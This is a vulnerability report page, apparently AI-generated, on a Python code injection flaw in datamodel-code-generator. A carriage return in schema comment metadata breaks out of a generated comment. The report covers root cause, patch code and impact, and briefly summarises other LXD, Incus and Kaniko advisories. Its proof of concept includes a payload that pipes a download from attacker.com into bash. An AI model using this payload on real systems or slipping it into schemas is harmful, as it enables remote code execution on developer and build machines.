CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54654

CVE-2026-54654: Python Code Injection in datamodel-code-generator via Comment Line-Break Escape

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 29, 2026·5 min read·22 visits

Executive Summary (TL;DR)

A local code injection vulnerability exists in datamodel-code-generator versions prior to 0.60.2. Inadequate sanitization of line terminators in the comment metadata of schema templates allows attackers to inject arbitrary executable statements into generated Python code, which triggers code execution when the generated files are imported.

A vulnerability in the datamodel-code-generator library allows for unauthenticated remote code execution when generating code from malicious or untrusted schema specifications. By embedding special physical line terminators, such as carriage returns, vertical tabs, or form feeds, within template values, an attacker can break out of inline Python comment boundaries. The generated output file subsequently contains un-commented python instructions that execute automatically during module import.

Vulnerability Overview

The open-source library datamodel-code-generator converts schema files—such as OpenAPI definitions, JSON Schema, GraphQL models, and Protocol Buffers—into Python structures. These target structures include typed components such as Pydantic models, TypedDicts, msgspec Structs, and dataclasses. Because this utility programmatically writes source files intended for execution, the integrity of its generation parser is crucial to preventing downstream code execution.

Historically, code generation tools are highly targeted vectors for supply chain attacks. When a developer or automated ingestion pipeline retrieves an untrusted configuration file, the generator compiles the inputs into static python source structures. The threat model changes from passive schema processing to local file execution once these scripts are executed in user spaces.

This vulnerability, classified as CVE-2026-54654, manifests because of inadequate validation of specialized control symbols. Specifically, when rendering descriptive metadata, the script relies on raw string injections following inline comment markers. Because some newline symbols are not processed correctly, they terminate the comment block prematurely, creating executable statements from what should have been inert code commentary.

Root Cause Analysis

To diagnose the root cause of CVE-2026-54654, it is necessary to examine how the Python compiler tokenizes physical lines. A physical line is defined as a sequence of characters terminated by a Line Feed (\n), a Carriage Return + Line Feed (\r\n), or a standalone Carriage Return (\r). Other control characters, such as Vertical Tab (\v) and Form Feed (\f), may also partition physical statements in multiple parser implementations.

In Python, inline comments begin with a hash character (#) and continue until the end of the current physical line. The lexical scanner interprets the comment block as spanning up to the physical line boundary. If a carriage return or vertical tab is introduced into the text, the parser splits the comment sequence. The text preceding the line terminator is treated as a comment, while the text after it is parsed as an active statement.

Prior to version 0.60.2, datamodel-code-generator dynamically populated Jinja2 templates using model metadata comment variables without prior neutralization. This meant raw input strings were injected immediately after the # character in templates like TypedDict.jinja2 and BaseModel.jinja2. Consequently, any user-supplied carriage return character was rendered directly into the generated source, breaking the syntax line block and allowing code injection.

Code Analysis & Patch Review

The diagram below illustrates the input data validation pipeline introduced in the fixed version of the library:

This vulnerability has been addressed in commit b73abb5cd703a50471b8950bbd3bd0b82ad71de7 by implementing string normalization. The patch inserts dedicated sanitization routines within src/datamodel_code_generator/model/base.py to strip vertical lines and escape comment parameters.

def comment_safe(value: str | None) -> str | None:
    # Standardizes carriage returns into typical line feed newlines
    return value.replace("\r\n", "\n").replace("\r", "\n")
 
def inline_comment_safe(value: str | None) -> str | None:
    """Make a value safe for a generated inline Python comment."""
    if value is None:
       return None
    safe_value = comment_safe(value) or ""
    # Convert vertical tabs and form feeds to newlines, then prepend '#' to each split line
    return safe_value.replace("\v", "\n").replace("\f", "\n").replace("\n", "\n# ")

These functions validate and intercept metadata comment attributes prior to rendering them via Jinja2 engine templates. However, review of the patch indicates that when custom templates are defined by absolute disk pathing, this validation logic is bypassed entirely (use_custom_template conditional check). Development teams relying on custom template definitions must ensure their designs are secure.

Attack Methodology & Proof-of-Concept

Exploiting this flaw requires the ability to influence the configuration data consumed during code generation. This typically occurs in automatic client compilation pipelines that pull schema specs dynamically from third-party application backends or external APIs. An attacker can construct a payload by injecting carriage returns inside schema description properties or template metadata arguments.

Consider a scenario where an attacker targets a code-generation automation worker. The attacker provides an metadata payload that utilizes standard carriage return sequences:

{
  "Model": {
    "comment": "safe comment\rimport os\nos.system('curl http://attacker.com/payload | bash')\n# "
  }
}

When processed by a vulnerable version of the compiler, the output structure writes the comments with physical line terminators. Because the carriage return behaves as a line terminator, CPython splits the text into separate execution statements:

# Model definition
# safe comment
import os
os.system('curl http://attacker.com/payload | bash')
# 
class Model(BaseModel):
    name: str

When a downstream utility imports this generated library, the code executes immediately under the privileges of the executing workspace.

Impact Assessment

The impact of CVE-2026-54654 is highly severe, carrying a CVSS base score of 7.8. Because the command injection runs within the context of the user running the generation tool or executing the generated Python file, it represents a direct vector to system compromise. Attackers can leverage the script context to read system environment variables, pull authorization tokens, read sensitive files, or run interactive shells.

In modern microservice architectures, developers often build automate pipelines that run code generation tools during local compilation, CI/CD execution, or cloud deployment. A vulnerability that triggers execution during compilation can result in the compromise of target development boxes, cloud build agents, or production cluster systems. The compromise can easily propagate horizontally to code repositories and shared libraries.

While user interaction is required because a developer or pipeline has to trigger code generation or import the generated code, the exploit complexity is exceptionally low. Since standard build configurations run with elevated cloud environment secrets, exploitation can compromise upstream credentials.

Official Patches

koxudaxiOfficial patch addressing carriage return breakout in Jinja2 templates

Fix Analysis (1)

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Systems

datamodel-code-generator versions starting from 0.14.1 up to (but not including) 0.60.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
datamodel-code-generator
koxudaxi
>= 0.14.1, < 0.60.20.60.2
AttributeDetail
CWE IDCWE-94, CWE-1336
Attack VectorLocal (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
CVSS Severity Score7.8 (High)
Exploit StatusProof-of-Concept (PoC) available
Primary Vulnerable ComponentJinja2 template interpolation logic in koxudaxi/datamodel-code-generator
Fix Version0.60.2

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The product constructs code using input without properly neutralizing control sequences.

Vulnerability Timeline

Fix commit developed and merged into the main repository branch.
2026-06-08
GitHub Security Advisory GHSA-wjv6-jcfj-mf9r is published.
2026-07-28
CVE-2026-54654 is formally issued and populated in the NVD.
2026-07-28

References & Sources

  • [1]GHSA-wjv6-jcfj-mf9r: Python Code Injection in datamodel-code-generator
  • [2]Release 0.60.2: official patched update release details

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•20 minutes ago•GHSA-7MR3-28H5-M5VX
7.7

GHSA-7mr3-28h5-m5vx: Authorization Bypass and Cross-Project Volume Copy in Canonical LXD

An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.

Alon Barad
Alon Barad
1 views•10 min read
•about 1 hour ago•GHSA-47W9-6R3F-938G
9.9

GHSA-47w9-6r3f-938g: Authorization Bypass and Host Root Command Execution in Canonical LXD and Incus

A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.

Alon Barad
Alon Barad
3 views•11 min read
•about 2 hours ago•GHSA-JPF8-86F3-WP38
9.9

CVE-2026-48752: Arbitrary Host File Read and Write via Templates Symlink in Canonical LXD and Incus

A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.

Amit Schendel
Amit Schendel
4 views•10 min read
•1 day ago•CVE-2026-12411
8.4

CVE-2026-12411: Cross-Guest Volume Hijack via DevLXD Device PATCH in Canonical LXD

CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.

Amit Schendel
Amit Schendel
7 views•10 min read
•1 day ago•CVE-2026-105769
9.3

CVE-2026-105769: Azure Entra ID Token Exfiltration in Kaniko via Unanchored ACR Hostname Regex

CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.

Amit Schendel
Amit Schendel
11 views•11 min read
•1 day ago•CVE-2026-62300
6.5

CVE-2026-62300: Uncontrolled Resource Consumption in filecoin-pin Daemon

CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.

Amit Schendel
Amit Schendel
9 views•11 min read